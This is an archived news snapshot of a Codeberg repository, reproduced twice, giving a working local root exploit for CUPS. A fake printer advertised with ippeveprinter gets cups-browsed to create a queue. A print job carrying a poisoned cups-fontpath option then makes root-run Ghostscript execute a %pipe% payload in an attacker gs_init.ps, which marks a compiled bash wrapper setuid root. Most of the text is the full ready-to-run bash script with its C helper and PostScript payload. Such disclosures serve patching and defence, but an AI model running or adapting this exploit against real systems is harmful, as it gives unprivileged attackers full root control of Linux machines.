cowcups: CUPS cups-fontpath Local Privilege Escalation (LPE) to Root PoC
codeberg.org | vulnerability | High | #linux | #privilege-escalation | #red-team | #exploit | #vulnerability | #poc | #codeberg
Summary
# **cowcups cups-fontpath lpe** An unprivileged local user can trigger root cmd exec by submitting a print job with an attacker-controlled cups-fontpath option. The user advertises a PWG Raster...
Why it matters
Demonstrates an effective local root privilege escalation chain in default CUPS environments by abusing printer discovery and Ghostscript font search paths.
- Vendor
- OpenPrinting
- Product
- CUPS / cups-browsed / libcupsfilters
- Published
- Collected
📦 Full-Text Content Snapshot
R2 Archive · Full Article PreservedBy piratemoo · October 24, 2026 · Source: codeberg.org/piratemoo/cowcups
Overview (readme.md)
cowcups cups-fontpath lpe
An unprivileged local user can trigger root cmd exec by submitting a print job with an attacker-controlled cups-fontpath option. The user advertises a PWG Raster printer with ippeveprinter; cups-browsed discovers it and creates an implicitclass queue. When the user prints to that queue, the root-run backend passes the job option through libcupsfilters to Ghostscript as an -I search path. Ghostscript loads the attacker’s gs_init.ps from that path, where a %pipe% command execs as root.
- No
sudo/lpadminrequired - No pre-existing printer/victim interaction required
Exploitation Chain & Technical Breakdown
- SUID Root Shell Helper (
mooshell): Compiles a minimal C wrapper (rootsh.c) that callssetgid(0),setuid(0), andexecl("/bin/bash", "bash", NULL)into./mooshell. - Ghostscript
gs_init.psPoisoning: Locates the installed Ghostscript revision header from/usr/share/ghostscript/.../gs_init.psand writes a malicious$dir/gs/gs_init.pscontaining a PostScript%pipe%operator:
(%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file- Fake IPP Everywhere Printer Advertisement: Starts
ippeveprinteron an unprivileged random local port (18000 + RANDOM % 20000) advertisingimage/pwg-rastersupport with queue namegraze_<pid>_<timestamp>. - Automatic Queue Discovery via
cups-browsed: Waits for the localcups-browseddaemon to discover the IPP printer over mDNS/Bonjour and register animplicitclass://CUPS queue. - Print Job Submission with
cups-fontpathInjection: Submits a print job vialp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname. When the root-privileged filter/backend pipeline (libcupsfilters-> Ghostscript) processes the job, it passes-I $dir/gsto Ghostscript, which loads the attacker'sgs_init.psand executes the%pipe%payload asroot, setting SUID root (4755) on./mooshell.
Full PoC Exploit (cowcups.sh)
Source file: cowcups.sh
#!/usr/bin/env bash
set -euo pipefail
cat <<'EOF'
\|/ (__)
`\------(oo)
|| (__)
||w--|| \|/
EOF
rootsh="$(pwd)/mooshell"
proof="$(pwd)/.mooshell-proof"
dir=$(mktemp -d /tmp/cups-lpe.XXXXXX)
queue="graze_$$_$(date +%s)"
port=$((18000 + RANDOM % 20000))
jobnum=""
cancel_and_drain() {
if [[ -n "$jobnum" ]]; then
timeout 5 cancel "$jobnum" 2>/dev/null || true
fi
timeout 5 cancel -a "$queue" 2>/dev/null || true
local tries=0
while pgrep -f "implicitclass://$queue/" >/dev/null 2>&1 && (( tries < 20 )); do
sleep 0.5
(( tries++ ))
done
}
cleanup() {
local ec=$?
set +e
cancel_and_drain
if [[ -n "${pid:-}" ]]; then
kill "$pid" 2>/dev/null
wait "$pid" 2>/dev/null
fi
rm -rf "$dir"
exit "$ec"
}
trap cleanup EXIT INT TERM
pkill -f "ippeveprinter.*graze_" 2>/dev/null || true
sleep 0.5
if ! timeout 5 lpstat -r >/dev/null 2>&1; then
echo "[-] cupsd not responding — stuck implicitclass backends from a previous run"
echo " fix: sudo kill -9 \$(pgrep -f implicitclass://graze_)"
echo " then: sudo systemctl restart cups"
exit 1
fi
timeout 5 cancel -a 2>/dev/null || true
cat > "$dir/rootsh.c" <<'CEOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
if (setgid(0) != 0) {
perror("setgid");
return EXIT_FAILURE;
}
if (setuid(0) != 0) {
perror("setuid");
return EXIT_FAILURE;
}
execl("/bin/bash", "bash", (char *)NULL);
perror("execl");
return EXIT_FAILURE;
}
CEOF
gcc -Wall -Wextra -Werror -pedantic -std=c11 -o "$rootsh" "$dir/rootsh.c" -O2
rm -f "$dir/rootsh.c"
mkdir -p "$dir/gs" "$dir/spool"
init=$(find /usr/share/ghostscript -name gs_init.ps -print -quit 2>/dev/null)
if [[ -z "$init" ]]; then
echo "[-] gs_init.ps not found"
exit 1
fi
rev=$(awk '!/^[[:space:]]*%/ && NF {print $1; exit}' "$init")
cat > "$dir/gs/gs_init.ps" <<EOF
$rev
dup revision ne { 1 .quit } if pop
(%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file
closefile
0 .quit
EOF
ippeveprinter -p "$port" -d "$dir/spool" \
-f image/pwg-raster -F image/pwg-raster "$queue" \
>"$dir/ippeve.log" 2>&1 &
pid=$!
sleep 0.5
if ! kill -0 "$pid" 2>/dev/null; then
echo "[-] ippeveprinter failed to start:"
cat "$dir/ippeve.log" 2>/dev/null
exit 1
fi
echo "[+] ippeveprinter running on port $port (pid $pid)"
echo "[*] waiting for cups-browsed to pick up the queue (up to 90s)..."
found=0
for i in $(seq 1 90); do
if timeout 3 lpstat -v 2>/dev/null | grep -Fq "$queue"; then
found=1
echo "[+] queue discovered after ${i}s"
break
fi
sleep 1
done
if (( found == 0 )); then
echo "[-] queue never appeared"
exit 1
fi
echo "[*] waiting for queue to become routable..."
routable=0
for i in $(seq 1 30); do
if timeout 3 lpstat -p "$queue" 2>/dev/null | grep -qE 'idle|enabled'; then
routable=1
echo "[+] queue routable after additional ${i}s"
break
fi
sleep 1
done
if (( routable == 0 )); then
echo "[-] queue appeared but never became routable"
timeout 3 lpstat -p "$queue" 2>/dev/null || true
exit 1
fi
sleep 3
submit_and_wait() {
local lp_out
lp_out=$(timeout 10 lp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname 2>&1) || {
echo "[-] lp failed: $lp_out"
return 1
}
echo "[+] $lp_out"
jobnum=$(echo "$lp_out" | grep -oP 'request id is \K[^ ]+' || true)
for i in $(seq 1 30); do
if [[ -u "$rootsh" ]]; then
echo "[+] suid set after ${i}s"
return 0
fi
sleep 1
done
return 1
}
echo "[*] submitting print job with poisoned fontpath..."
attempt=1
max_attempts=3
while (( attempt <= max_attempts )); do
if submit_and_wait; then
break
fi
if [[ -u "$rootsh" ]]; then
break
fi
echo "[*] attempt $attempt failed, cancelling and retrying..."
cancel_and_drain
jobnum=""
if (( attempt == max_attempts )); then
break
fi
sleep 3
(( attempt++ ))
done
echo "[*] cancelling held job to prevent retry zombies..."
cancel_and_drain
if [[ ! -u "$rootsh" ]]; then
echo "[-] suid not set after $max_attempts attempts"
tail -5 "$dir/ippeve.log" 2>/dev/null || true
rm -f "$rootsh"
exit 1
fi
echo ""
echo "moo. rooted."
cat "$proof" 2>/dev/null
rm -f "$proof"
echo ""
ls -la "$rootsh"
echo "./mooshell for root shell"📦 Full-Text Markdown Snapshot archived by Phying News · Original source: codeberg.org
---
id: 10332
title: "cowcups: CUPS cups-fontpath Local Privilege Escalation (LPE) to Root PoC"
cve: null
cvss: null
severity: high
vendor: OpenPrinting
product: "CUPS / cups-browsed / libcupsfilters"
affected_versions: null
source_domain: codeberg.org
source_url: "https://codeberg.org/piratemoo/cowcups"
published_at: "2026-10-24T18:13:47Z"
snapshot_at: "2026-10-26T03:07:00Z"
archived_by: "Phying News (https://phying.com/item/10332)"
lang: en
---
# cowcups: CUPS `cups-fontpath` Local Privilege Escalation (LPE) to Root PoC
*By [piratemoo](https://codeberg.org/piratemoo) · October 24, 2026 · Source: [codeberg.org/piratemoo/cowcups](https://codeberg.org/piratemoo/cowcups)*
## Overview (`readme.md`)
# **cowcups cups-fontpath lpe**
An unprivileged local user can trigger root cmd exec by submitting a print job with an attacker-controlled `cups-fontpath` option. The user advertises a PWG Raster printer with `ippeveprinter`; `cups-browsed` discovers it and creates an `implicitclass` queue. When the user prints to that queue, the root-run backend passes the job option through `libcupsfilters` to Ghostscript as an `-I` search path. Ghostscript loads the attacker’s `gs_init.ps` from that path, where a `%pipe%` command execs as root.
- No `sudo`/`lpadmin` required
- No pre-existing printer/victim interaction required
---
## Exploitation Chain & Technical Breakdown
1. **SUID Root Shell Helper (`mooshell`)**: Compiles a minimal C wrapper (`rootsh.c`) that calls `setgid(0)`, `setuid(0)`, and `execl("/bin/bash", "bash", NULL)` into `./mooshell`.
2. **Ghostscript `gs_init.ps` Poisoning**: Locates the installed Ghostscript revision header from `/usr/share/ghostscript/.../gs_init.ps` and writes a malicious `$dir/gs/gs_init.ps` containing a PostScript `%pipe%` operator:
```postscript
(%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file
```
3. **Fake IPP Everywhere Printer Advertisement**: Starts `ippeveprinter` on an unprivileged random local port (`18000 + RANDOM % 20000`) advertising `image/pwg-raster` support with queue name `graze_<pid>_<timestamp>`.
4. **Automatic Queue Discovery via `cups-browsed`**: Waits for the local `cups-browsed` daemon to discover the IPP printer over mDNS/Bonjour and register an `implicitclass://` CUPS queue.
5. **Print Job Submission with `cups-fontpath` Injection**: Submits a print job via `lp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname`. When the root-privileged filter/backend pipeline (`libcupsfilters` -> Ghostscript) processes the job, it passes `-I $dir/gs` to Ghostscript, which loads the attacker's `gs_init.ps` and executes the `%pipe%` payload as `root`, setting SUID root (`4755`) on `./mooshell`.
---
## Full PoC Exploit (`cowcups.sh`)
Source file: [`cowcups.sh`](https://codeberg.org/piratemoo/cowcups/src/branch/main/cowcups.sh)
```bash
#!/usr/bin/env bash
set -euo pipefail
cat <<'EOF'
\|/ (__)
`\------(oo)
|| (__)
||w--|| \|/
EOF
rootsh="$(pwd)/mooshell"
proof="$(pwd)/.mooshell-proof"
dir=$(mktemp -d /tmp/cups-lpe.XXXXXX)
queue="graze_$$_$(date +%s)"
port=$((18000 + RANDOM % 20000))
jobnum=""
cancel_and_drain() {
if [[ -n "$jobnum" ]]; then
timeout 5 cancel "$jobnum" 2>/dev/null || true
fi
timeout 5 cancel -a "$queue" 2>/dev/null || true
local tries=0
while pgrep -f "implicitclass://$queue/" >/dev/null 2>&1 && (( tries < 20 )); do
sleep 0.5
(( tries++ ))
done
}
cleanup() {
local ec=$?
set +e
cancel_and_drain
if [[ -n "${pid:-}" ]]; then
kill "$pid" 2>/dev/null
wait "$pid" 2>/dev/null
fi
rm -rf "$dir"
exit "$ec"
}
trap cleanup EXIT INT TERM
pkill -f "ippeveprinter.*graze_" 2>/dev/null || true
sleep 0.5
if ! timeout 5 lpstat -r >/dev/null 2>&1; then
echo "[-] cupsd not responding — stuck implicitclass backends from a previous run"
echo " fix: sudo kill -9 \$(pgrep -f implicitclass://graze_)"
echo " then: sudo systemctl restart cups"
exit 1
fi
timeout 5 cancel -a 2>/dev/null || true
cat > "$dir/rootsh.c" <<'CEOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
if (setgid(0) != 0) {
perror("setgid");
return EXIT_FAILURE;
}
if (setuid(0) != 0) {
perror("setuid");
return EXIT_FAILURE;
}
execl("/bin/bash", "bash", (char *)NULL);
perror("execl");
return EXIT_FAILURE;
}
CEOF
gcc -Wall -Wextra -Werror -pedantic -std=c11 -o "$rootsh" "$dir/rootsh.c" -O2
rm -f "$dir/rootsh.c"
mkdir -p "$dir/gs" "$dir/spool"
init=$(find /usr/share/ghostscript -name gs_init.ps -print -quit 2>/dev/null)
if [[ -z "$init" ]]; then
echo "[-] gs_init.ps not found"
exit 1
fi
rev=$(awk '!/^[[:space:]]*%/ && NF {print $1; exit}' "$init")
cat > "$dir/gs/gs_init.ps" <<EOF
$rev
dup revision ne { 1 .quit } if pop
(%pipe%sh -c 'chown root:root $rootsh && chmod 4755 $rootsh && id > $proof 2>&1') (r) file
closefile
0 .quit
EOF
ippeveprinter -p "$port" -d "$dir/spool" \
-f image/pwg-raster -F image/pwg-raster "$queue" \
>"$dir/ippeve.log" 2>&1 &
pid=$!
sleep 0.5
if ! kill -0 "$pid" 2>/dev/null; then
echo "[-] ippeveprinter failed to start:"
cat "$dir/ippeve.log" 2>/dev/null
exit 1
fi
echo "[+] ippeveprinter running on port $port (pid $pid)"
echo "[*] waiting for cups-browsed to pick up the queue (up to 90s)..."
found=0
for i in $(seq 1 90); do
if timeout 3 lpstat -v 2>/dev/null | grep -Fq "$queue"; then
found=1
echo "[+] queue discovered after ${i}s"
break
fi
sleep 1
done
if (( found == 0 )); then
echo "[-] queue never appeared"
exit 1
fi
echo "[*] waiting for queue to become routable..."
routable=0
for i in $(seq 1 30); do
if timeout 3 lpstat -p "$queue" 2>/dev/null | grep -qE 'idle|enabled'; then
routable=1
echo "[+] queue routable after additional ${i}s"
break
fi
sleep 1
done
if (( routable == 0 )); then
echo "[-] queue appeared but never became routable"
timeout 3 lpstat -p "$queue" 2>/dev/null || true
exit 1
fi
sleep 3
submit_and_wait() {
local lp_out
lp_out=$(timeout 10 lp -d "$queue" -o "cups-fontpath=$dir/gs" /etc/hostname 2>&1) || {
echo "[-] lp failed: $lp_out"
return 1
}
echo "[+] $lp_out"
jobnum=$(echo "$lp_out" | grep -oP 'request id is \K[^ ]+' || true)
for i in $(seq 1 30); do
if [[ -u "$rootsh" ]]; then
echo "[+] suid set after ${i}s"
return 0
fi
sleep 1
done
return 1
}
echo "[*] submitting print job with poisoned fontpath..."
attempt=1
max_attempts=3
while (( attempt <= max_attempts )); do
if submit_and_wait; then
break
fi
if [[ -u "$rootsh" ]]; then
break
fi
echo "[*] attempt $attempt failed, cancelling and retrying..."
cancel_and_drain
jobnum=""
if (( attempt == max_attempts )); then
break
fi
sleep 3
(( attempt++ ))
done
echo "[*] cancelling held job to prevent retry zombies..."
cancel_and_drain
if [[ ! -u "$rootsh" ]]; then
echo "[-] suid not set after $max_attempts attempts"
tail -5 "$dir/ippeve.log" 2>/dev/null || true
rm -f "$rootsh"
exit 1
fi
echo ""
echo "moo. rooted."
cat "$proof" 2>/dev/null
rm -f "$proof"
echo ""
ls -la "$rootsh"
echo "./mooshell for root shell"
```
---
> 📦 **Full-Text Markdown Snapshot** archived by [Phying News](https://phying.com/item/10332) · Original source: [codeberg.org](https://codeberg.org/piratemoo/cowcups)